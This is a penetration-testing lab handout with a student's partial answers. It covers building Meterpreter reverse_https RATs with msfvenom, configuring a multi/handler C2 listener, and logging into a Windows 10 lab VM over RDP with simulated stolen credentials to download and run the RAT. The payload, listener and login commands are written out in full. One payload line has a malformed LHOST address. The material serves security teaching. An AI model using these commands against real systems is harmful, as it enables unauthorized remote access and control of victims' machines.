Lab Exercise: Post-Exploitation and Local Privilege Escalation Operations

Objective

Students will simulate a Red Team operation involving initial access, reconnaissance, data exfiltration, and local privilege escalation. The exercise requires students to document their methodology in a formal penetration testing report and articulate the technical weaknesses exploited during each phase.

For screenshots, do not piece together long output. Generally, showing the command and the first few lines of output is sufficient

---

Phase 0: RAT Development

Objective: Create and explain the options used to create a RAT and set up a listener.

1. Create 2 RATs using msfvenom’s reverse_https meterpeter module and don’t use a port below 12000.
2. Set up one listener for the Phase 1 attack below.

Documentation Requirement for Phase 0

• Report Section: Document the exact commands used to generate the payloads and configure the listener. For each parameter set using set, provide a brief justification explaining why that specific value was selected (e.g., matching the LHOST from payload generation, selecting a high port for stealth).

In Kali, Generate the RATs (Remote Access Trojan)

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.17.25 LPORT=22222 -f exe -o rat1.exe

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.17.25 LPORT=33333 -f exe -o rat2.exe

Configure the Listener/Handler:

msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 10.0.17.25
set LPORT 22222
exploit

Justification for the specific value in the configuration

use exploit/multi/handler- This command generates the generic listener module, which waits for a Meterpreter callback from the target (Windows VM) and turns it into a session.

set payload windows/x64/meterpreter/reverse_https- Tells the handler exactly what to expect, and it must match the payload built with msfvenom.

set LHOST 10.0.17.25- This sets the address that the handler listens on to my Kali/C2 machine, matching the LHOST baked into the payload.

set LPORT 22222- This sets the port that the handler listens on, matching the payload’s LPORT so the callback connects.

exploit- Makes the handler listen, launching the module and waiting for the session.

• Output Screenshots:

---

Phase 1: Initial Access and Payload Deployment

Objective: Establish a foothold on the Windows 10 target as the user champuser. Students must choose one of two distinct access vectors to deploy a Remote Access Trojan (RAT).

Option B: Darknet Credential Simulation

In this scenario, students simulate obtaining valid credentials from a compromised darknet database.

1. Authentication: Authenticate to the Windows 10 host using the stolen champuser credentials using RDP graphical login for authentication.

Prep on Windows VM:

Enable Remote Desktop on your Windows 10 VM through System Properties

• Settings → System → Remote Desktop → toggle On Output Screenshots:

Verify RDP is listening on port 3389 using the command below on Windows 10:

• Output Screenshot:

Use xfreerdp3 RDP client to connect to the Windows 10 VM

• Command:

xfreerdp3 /v:10.0.17.50 /u:champuser '/p:Ch@mpl@1n!25' /cert:ignore

2. Payload Deployment: Once authenticated, open a command prompt and download the RAT binary from the C2 server using standard CLI download utilities.
3. Execution: Execute the downloaded RAT via the command line to establish a Meterpreter session.
4. Verification: Confirm successful deployment by showing on Kali the opened session.

---

General Constraints for Phase 1

• Privilege Level: The resulting session must be champuser (Standard User). Attempts to escalate privileges immediately in this phase is not relevant and defeats the purpose of the Local Privilege Escalation in Phase 4.
• Interface Usage: No GUI applications may be launched to manage the host, navigate directories, or verify service status. All verification must be achieved through command-line output.

Documentation for Phase 1

• Report Section:
  • Describe the chosen access vector and the social engineering or credential acquisition premise.
  • Provide a breakdown of the initial sessions output on the C2 server. Define what each column/field represents (e.g., ID, Type, Information, User, Host).
  • List the specific CLI commands used to verify the foothold was established as champuser.